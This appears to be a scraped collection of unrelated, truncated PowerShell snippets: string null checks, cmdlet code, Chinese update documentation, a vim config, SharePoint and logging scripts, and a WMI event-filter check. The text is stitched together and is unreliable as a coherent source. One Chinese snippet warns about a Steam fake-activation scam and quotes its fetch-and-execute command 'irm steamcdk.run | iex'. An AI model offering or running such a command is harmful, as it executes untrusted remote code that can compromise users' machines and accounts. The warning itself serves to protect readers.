Checking if a string is NULL or EMPTY is very common requirement in Powershell script. If we don’t do that we will end up with run time errors if we try to perform some operation on that string variable which is empty or null. So the question now is, how to check it? Well, belo...
foreach(PathInfo path in SessionState.Path.GetResolvedPSPathFromPSPath(psPath) ) { WriteVerbose("Processing path " + path.Path); // Check if the path represents one of the items to be // excluded. If so, continue to next path. if (!MeetsIncludeExcludeCriteria(path.ProviderPath))...
(s) to check the status of the services on..PARAMETER CredentialSpecifies a user account that has permission to perform this action. The default is the current user..EXAMPLEGet-MrAutoStoppedService -ComputerName 'Server1', 'Server2'.EXAMPLE'Server1', 'Server2' | Get-MrAutoStoppedService....
用户不应更改此值。 POWERSHELL_UPDATECHECK 可以使用POWERSHELL_UPDATECHECK环境变量更改更新通知行为。 有关详细信息,请参阅about_Update_Notifications。 支持以下值: Off关闭更新通知功能 Default与不定义POWERSHELL_UPDATECHECK相同: GA 版本通知 GA 版本的更新 预览版/RC 版本通知 GA 版本和预览版的更新 LTS仅通...
昨天发现一个Steam游戏假入库的骗局,骗局一般发生在某鱼某宝某多,基本都是用一个powershell脚本和一个假激活码骗你入库,严重会导致Steam账号封禁、红信,powershell脚本样子如下所示: irm steamcdk.run | iex …
PS> & "1+1" &: The term '1+1' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:2 + & "1+1" + ~~~ + Catego...
(useful when commenting a region)letg:NERDCommentEmptyLines=1" Enable trimmingoftrailing whitespace when uncommentingletg:NERDTrimTrailingWhitespace=1letg:coc_disable_startup_warning=1" Enable NERDCommenterToggle to check all selected lines is commented or notletg:NERDToggleCheckAllLines=1" Add your ...
if ($ver.Version.Major -gt 1) {$Host.Runspace.ThreadOptions = "ReuseThread"} Add-PsSnapin Microsoft.SharePoint.PowerShell Set-location $home # Check that this is a command-line interface and not the ISE if ($host.name -eq "ConsoleHost") { $width = 80 $sizeWindow = new-object ...
"@Send-MailMessage@emailConfig-Body$emailBody}try{# Create a timestamp for the current execution$timestamp=Get-Date-Format"yyyy-MM-dd HH:mm:ss"# Write timestamp to the log fileAdd-Content-Path$logFile-Value"Execution timestamp:$timestamp"# Check if log fi...
$EventCheck=Get-WmiObject-Namespace root/subscription-Class __EventFilter-Filter"Name = '$EventFilterName'"if($EventCheck-ne $null){Write-Host"Event Filter $EventFilterName successfully written to host"}#Confirm the Event Consumer was created ...